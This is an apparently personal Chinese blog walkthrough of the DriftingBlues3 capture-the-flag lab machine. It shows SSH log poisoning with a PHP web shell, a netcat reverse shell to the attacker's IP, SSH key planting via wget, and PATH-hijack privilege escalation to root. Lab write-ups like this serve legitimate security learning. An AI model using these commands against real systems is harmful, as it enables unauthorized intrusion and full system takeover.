打个靶机-driftingblues3·········我回来了!

题外话:

本人是苦逼高三生,但是现在已经毕业了,大学学的我心心念念的网络安全,这辈子有了。

本人从初二开始接触网络安全,但是一直是个半吊子,本来想简单做个简单的靶机系列,结果因为学业直接一年没碰,忘得差不多了...反正我在那种知识轰炸中是不能学网安一点的。假期想要学习一下,结果跟同学打游戏直接打到脑溢血(比喻!),最近突然看到一款游戏叫《Hacknet》,想到之前在b站上看yuppt佬玩这游戏(好像?),然后还嘲笑过这游戏把侵入写的这么简单,像是拿着2023年的msf回到2008年,突然醒悟,当时用着运存4gb处理器i5的电脑都要打靶机,我的热爱可不能这样埋藏了!先把之前搞得素材都整理出来,先学会写写博客,同时回忆一下技能。

代码审计应该还有点印象,主要是很多linux基础的命令都忘了,之前初三的时候也经历过,无所谓的,反正也不要求很多的复杂的命令,写shell脚本暂时请教一下gpt吧...

(这是我很在之前打的素材...幸好当时有点装逼癖好,把每个操作都写得很清楚图也截的很全)

我想等我回忆起来之后在b站开直播打靶机

(应该不会说是传播黑客技术吧?试试!)

不多说了,最近的一些博文可能质量不是很高,无法指出所有的痛点,主要是我也不记得了(笑)

里面用到的技术我会好好看看相关手册,如果有更新我会指出的。

一、信息收集

nmap你一定要会!

nmap是一个指纹探测工具,十分好用,但因为nmap发送的包中的浏览器版本是nmap的版本号(这有点蠢,但是很专业!!!你做脚本也要这么做!!!)所以很多机器的流量探测都会对这种包实行管制(就是我们的敌人,防火墙),打靶机当然不需要这么做,但是如果你是在一些比较仿真的机器上,一定要搞个正常浏览器的User-Agent!

你可以在浏览器找到User-Agent

然后里面有类似

User-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0

然后复制下来当作表头用就可以的

nmap -sT -sC -sV -O -A -p22,80 192.168.56.110 -o nmap_details.txt 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6afed61723cb90792bb12d3753974658 (RSA)
|   256 5bc468d18959d748b096f311871c08ac (ECDSA)
|_  256 613966881d8ff1d040611e99c51a1ff4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/eventadmins
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:5E:7E:83 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 - 5.3 (99%), Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Netgear ReadyNAS 2100 (RAIDiator 4.2.24) (96%), Linux 2.6.32 - 3.10 (96%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Sony X75CH-series Android TV (Android 5.0) (95%), Linux 3.1 (95%), Linux 3.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://192.168.56.110 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php 
/index.html           (Status: 200) [Size: 1373]
/.php                 (Status: 403) [Size: 279]
/privacy              (Status: 301) [Size: 318] [--> http://192.168.56.110/privacy/]
/.html                (Status: 403) [Size: 279]
/robots.txt           (Status: 200) [Size: 37]
/tickets.html         (Status: 200) [Size: 347]
/drupal               (Status: 301) [Size: 317] [--> http://192.168.56.110/drupal/]
/secret               (Status: 301) [Size: 317] [--> http://192.168.56.110/secret/]
/Makefile             (Status: 200) [Size: 11]
/wp-admin             (Status: 301) [Size: 319] [--> http://192.168.56.110/wp-admin/]
/phpmyadmin           (Status: 301) [Size: 321] [--> http://192.168.56.110/phpmyadmin/]

gbst它线程很高很快,所以很多进行流量管控的机器就会直接把你的ip ban掉,你要是有钱自然可以搭建一个ip池硬搞,但是也可以放低你的线程,这样就会很慢。你打靶机的时候注意一下,基本是不需要,但是你发现扫不动了掉线了,基本是一下两种情况,一是人家机器做了防火墙的相关设置,一个是你的机器和网络扛不住你这么硬造...

二、Web渗透

看到了暴漏的一些敏感目录,直接下载下来,你可以curl,也可以直接浏览器下载。

http://192.168.56.110/robots.txt

User-agent: *

Disallow: /eventadmins

http://192.168.56.110/eventadmins/:


man there's a problem with ssh
john said "it's poisonous!!! stay away!!!"
idk if he's mentally challenged
please find and fix it
also check /littlequeenofspades.html
your buddy, buddy

curl -i -L http://192.168.56.110/littlequeenofspades.html
HTTP/1.1 200 OK
Date: Fri, 28 Jul 2023 05:17:21 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Mon, 04 Jan 2021 11:56:32 GMT
ETag: "522-5b811c7f17c00"
Accept-Ranges: bytes
Content-Length: 1314
Vary: Accept-Encoding
Content-Type: text/html
<!DOCTYPE html>
<html>
<body>
<p>Now, she is a little queen of spades, and the men will not let her be                                </p>
<p>Mmmm, she is the little queen of spades, and the men will not let her be             </p>
<p>Everytime she makes a spread, hoo fair brown, cold chill just runs all over me       </p>
<p>I'm gon' get me a gamblin' woman, if the last thing that I do                        </p>
<p>Eee, gon' get me a gamblin' woman, if it's the last thing that I do                  </p>
<p>Well, a man don't need a woman, ooh fair brown, that he got to give all his money to </p>
<p>Everybody say she got a mojo, now she's been usin' that stuff                        </p>
<p>Mmmm, mmmm, 'verybody says she got a mojo, 'cause she been usin' that stuff          </p>
<p>But she got a way trimmin' down, hoo fair brown, and I mean it's most too tough      </p>
<p>Now, little girl, since I am the king, baby, and you is a queen                      </p>
<p>Ooo eee, since I am the king baby, and you is a queen                                </p>
<p>Le's us put our heads together, hoo fair brown, then we can make our money green     </p>
<p style="color:white">aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==</p>
</html> 

 发现有一些熟悉的base64code,直接decode就可以!

echo 'aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==' | base64 -d

 又是一串base64?

intruder? L2FkbWluc2ZpeGl0LnBocA==
echo 'L2FkbWluc2ZpeGl0LnBocA==' | base64 -d
/adminsfixit.php
curl -i -L http://192.168.56.110/adminsfixit.php        

<!DOCTYPE html>
<html>
<body>
<p>#######################################################################</p>
<p>ssh auth log</p>
<p>============</p>
<p>i hope some wacky and uncharacteristic thing would not happen</p>
<p>this job is fucking poisonous and im boutta planck length away from quitting this hoe</p>
<p>-abuzer komurcu</p>
<p>#######################################################################</p>
<p> </p>
<p> </p>
</html>
Jul 28 00:04:59 driftingblues sshd[523]: Server listening on 0.0.0.0 port 22.
Jul 28 00:05:02 driftingblues CRON[534]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 28 00:05:02 driftingblues CRON[534]: pam_unix(cron:session): session closed for user root
Jul 28 00:06:01 driftingblues CRON[745]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 28 00:06:01 driftingblues CRON[745]: pam_unix(cron:session): session closed for user root
Jul 28 00:07:01 driftingblues CRON[749]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 28 00:07:01 driftingblues CRON[749]: pam_unix(cron:session): session closed for user root
Jul 28 00:07:14 driftingblues sshd[753]: Did not receive identification string from 192.168.56.102 port 60094
Jul 28 00:07:35 driftingblues sshd[755]: Did not receive identification string from 192.168.56.102 port 39646
Jul 28 00:07:44 driftingblues sshd[756]: Protocol major versions differ for 192.168.56.102 port 45130: SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 vs. SSH-1.5-NmapNSE_1.0
Jul 28 00:07:44 driftingblues sshd[757]: Protocol major versions differ for 192.168.56.102 port 45136: SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 vs. SSH-1.5-Nmap-SSH1-Hostkey
Jul 28 00:07:44 driftingblues sshd[759]: Unable to negotiate with 192.168.56.102 port 45146: no matching host key type found. Their offer: ssh-dss [preauth]
Jul 28 00:07:44 driftingblues sshd[761]: Connection closed by 192.168.56.102 port 45150 [preauth]
Jul 28 00:07:44 driftingblues sshd[763]: Connection closed by 192.168.56.102 port 45154 [preauth]
Jul 28 00:07:44 driftingblues sshd[765]: Unable to negotiate with 192.168.56.102 port 45162: no matching host key type found. Their offer: ecdsa-sha2-nistp384 [preauth]
Jul 28 00:07:44 driftingblues sshd[767]: Unable to negotiate with 192.168.56.102 port 45166: no matching host key type found. Their offer: ecdsa-sha2-nistp521 [preauth]

发现是在读取ssh日志的php脚本

你多次去尝试,你就知道是在变化的!

考虑注入

ssh '<?php system($_GET['cmd']);?>'@192.168.56.110

检查是否注入成功 

curl -i -L http://192.168.56.110/adminsfixit.php?cmd=ls
Makefile
adminsfixit.php
cr.png
drupal
eventadmins
index.html
littlequeenofspades.html
phpmyadmin
privacy
robots.txt
secret
tickets.html
wp-admin

注入成功!!!

在浏览器中访问http://192.168.56.110/adminsfixit.php?cmd=nc 192.168.56.102 6666 -e /bin/bash

在kali中nc -lvnp 6666监听

nc -lvnp 6666

成功返回shell!

三、提权

cd /home
ls -liah
total 16K
129281 drwxr-xr-x 3 robertj robertj 4.0K Jan  4  2021 .
     2 drwxr-xr-x 3 root    root    4.0K Jan  4  2021 ..
129286 drwx---rwx 2 robertj robertj 4.0K Jul 28 00:40 .ssh
129282 -r-x------ 1 robertj robertj 1.8K Jan  3  2021 user.txt

发现有.ssh文件

$cd .ssh

发现文件为空,我们具有写入权限,考虑上传公钥进行ssh横向移动

ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:ZrHlxLfxQyREdqGeX/9FKVqqVqqkZQAxRCNLmYyhp0Y root@kali
The key's randomart image is:
+---[RSA 3072]----+
|++=*       o= +. |
|++o +    . . =   |
|.E..    . + + .  |
|.o  .    * o *  .|
|..   .  S . +oo.o|
|.     .o   .+..+.|
|       +  oo  . o|
|      =  o.     o|
|     . .o.      .|
+----[SHA256]-----+
mv id_rsa.pub authorized_keys
 python -m http.server 80
www-data@driftingblues:/home/robertj/.ssh$ wget http://192.168.56.102/authorized_keys
ssh robertj@192.168.56.110 -i id_rsa
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
robertj@driftingblues:~$ 

成功登录~~~~

找一下权限很高的敏感文件

robertj@driftingblues:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/getinfo
/usr/bin/mount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chsh
robertj@driftingblues:~$ getinfo 
###################
ip address
###################

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:5e:7e:83 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.110/24 brd 192.168.56.255 scope global dynamic enp0s3
       valid_lft 491sec preferred_lft 491sec
    inet6 fe80::a00:27ff:fe5e:7e83/64 scope link 
       valid_lft forever preferred_lft forever
###################
hosts
###################

127.0.0.1       localhost
127.0.1.1       driftingblues

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
###################
os info
###################

Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
robertj@driftingblues:~$ ls -liah /usr/bin/getinfo
31095 -r-sr-s--- 1 root operators 17K Jan  4  2021 /usr/bin/getinfo
robertj@driftingblues:~$ cat /usr/bin/getinfo 
ELF>p@ 9@8
#g v "setuidputssystem__cxa_finalize__libc_start_mainlibc.so.6GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registeCH =  F/ DH = /H  /H9 tH /H  t@      H =i/H 5b/H) H  H  ?H  H H  tH  .H    fD   =)/u/UH = .H  t      % /f 1 I  ^H  H   PTL  H 
                                                                                               H =
/ -    h    /]     {   UH         H =      H =       H =      H =       H =      H =       ] f. AWL =,AVI  AUI  ATA  UH -,SL) H     H  t L  L  D  A  H  H9 u H []A\A]A^A_  H H  ###################
ip address               /很重要!!!!!!!!
###################
ip a###################
hosts
###################
cat /etc/hosts###################
os info
###################
uname -a8\             T     
                                 l   ,zRx
                                        P   +zRx
                                               $    @F▒J
l                                                        ?▒;*3$"D   \    qA C
D|    ]B I▒ E  E( D0 H8 G@j8A0A(B B▒B 8   P5
4 ▒   0o
 
 ▒@H    ▒      o    o   o    o =6FV8@GCC: (Debian 9.3.0-19) 9.3.0        
 

`p4   ! = = = ?@▒0@@@▒  
                          !7@@F =mPy =      "    =  =  =    @ 
                                                              0 { ▒0@-?▒@@
                                                                          4FZy▒0@   ▒8@    ] H@p+ @@ Uq ▒@@   
                                                                                                              "crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7454__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryt2.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5_edatasystem@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmain__TMC_END___ITM_registerTMCloneTablesetuid@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment #  $6   D  No
                                                                                                                            ^   o  k   o  z  ▒ B  ▒    @ pp  44               <       = -  ?  @ 0@0@@@ 0@0`00▒         6( 8

查其中的字符,可以看出是调用了ip a、cat,uname等命令。

考虑路径劫持

robertj@driftingblues:/tmp$ touch /tmp/ip
robertj@driftingblues:/tmp$ echo '/bin/bash -p' > /tmp/ip
robertj@driftingblues:/tmp$ chmod +x /tmp/ip
robertj@driftingblues:/tmp$ getinfo
###################
ip address
###################

root@driftingblues:/tmp# id
uid=0(root) gid=1000(robertj) groups=1000(robertj),1001(operators)
成功提权
root@driftingblues:/root# cat root.txt
flag 2/2
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄
░░░░█░░░░░░░░░░░░░░░░░░░░░░█
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█
░░▐▌░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█
░░░█▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█
░░█░░▌░█░░█░░█░░░█░░█░░█
░░█░░▀▀░░██░░█░░░█░░█░░█
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█

congratulations!

ok!这个靶机就已经拿下了!

  • 51
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值